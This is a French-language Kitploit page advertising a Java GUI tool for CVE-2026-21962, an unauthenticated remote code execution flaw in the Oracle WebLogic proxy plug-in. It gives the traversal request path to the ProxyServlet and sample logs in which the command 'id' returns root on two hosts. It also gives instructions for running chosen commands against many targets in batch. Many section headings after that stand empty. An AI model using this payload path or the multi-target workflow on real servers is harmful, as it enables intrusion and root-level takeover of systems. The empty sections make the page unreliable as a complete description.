CVE-2026-21962_Java_GUI_Exploit_Tool — Outil Java avec interface graphique pour exploiter CVE-2026-21962, une RCE non authentifiée dans le plug-in proxy Oracle WebLogic, permettant l'exécution de commandes multi-cibles via HTTP. | Kitploit

CVE-2026-21962 Outil d'Exploitation Java GUI

Version Java GUI de l'outil d'exploitation de la vulnérabilité RCE (Exécution de Code à Distance) du Proxy Plug-In Oracle WebLogic Server.

Structure du projet

java-version/
├── pom.xml              # Fichier de configuration du projet Maven
├── README.md            # Documentation du projet
├── run.bat              # Script de démarrage Windows
└── src/
    └── main/
        └── java/
            └── com/
                └── ashwesker/
                    └── cve202621962/
                        ├── Main.java                    # Point d'entrée du programme
                        ├── core/
                        │   └── Exploit.java             # Logique principale d'exploitation
                        ├── gui/
                        │   └── MainWindow.java          # Fenêtre principale de l'interface graphique
                        └── util/
                            └── HttpClient.java          # Outil de requêtes HTTP

Disposition de l'interface graphique

[*] Début du test de la vulnérabilité...
[*] URL cible : http://192.168.1.100:7001
[*] Commande exécutée : id
[*] Chemin de test : http://192.168.1.100:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] Succès ! Code de statut : 200
[+] Exécution de la commande réussie !
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------
================================================================================
[*] Début du test de la vulnérabilité...
[*] URL cible : http://192.168.1.101:7001
[*] Commande exécutée : id
[*] Chemin de test : http://192.168.1.101:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] Succès ! Code de statut : 200
[+] Exécution de la commande réussie !
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------

Saisissez plusieurs adresses cibles dans le champ de texte « URL cible », une par ligne
```
http://target1:7001
http://target2:7001
https://target3:4443
```
Saisissez la commande à exécuter dans le champ « Commande à exécuter »
Cliquez sur le bouton « Exécuter l'exploitation » pour démarrer le test par lots
Le programme teste chaque cible successivement, les résultats de sortie des différentes cibles sont séparés par ================ (80 signes égaux)
Consultez les « Journaux d'exécution » ci-dessous pour suivre le processus de test de chaque cible
Consultez la « Sortie des commandes » ci-dessous pour obtenir les résultats d'exécution des commandes de toutes les cibles

CVE-2026-21962_Java_GUI_Exploit_Tool

Populaires

Fonctionnalités

Dépendances

Compilation et exécution

Compilation avec Maven

Empaquetage en JAR

Exécution du programme

Méthode 1 : Utilisation du script de démarrage (recommandé)

Méthode 2 : Exécution avec Maven

Méthode 3 : Exécution directe du JAR

Méthode 4 : Exécution avec la commande Java (compilation requise au préalable)

Exemples d'utilisation

Exemple 1 : Test d'une seule cible

Exemple 2 : Test par lots de plusieurs cibles

Instructions d'utilisation

Test d'une seule cible

Test par lots de plusieurs cibles

Autres opérations

Détails de la vulnérabilité

Chemins de test

Avertissements

Implémentation technique

Description des composants principaux

Licence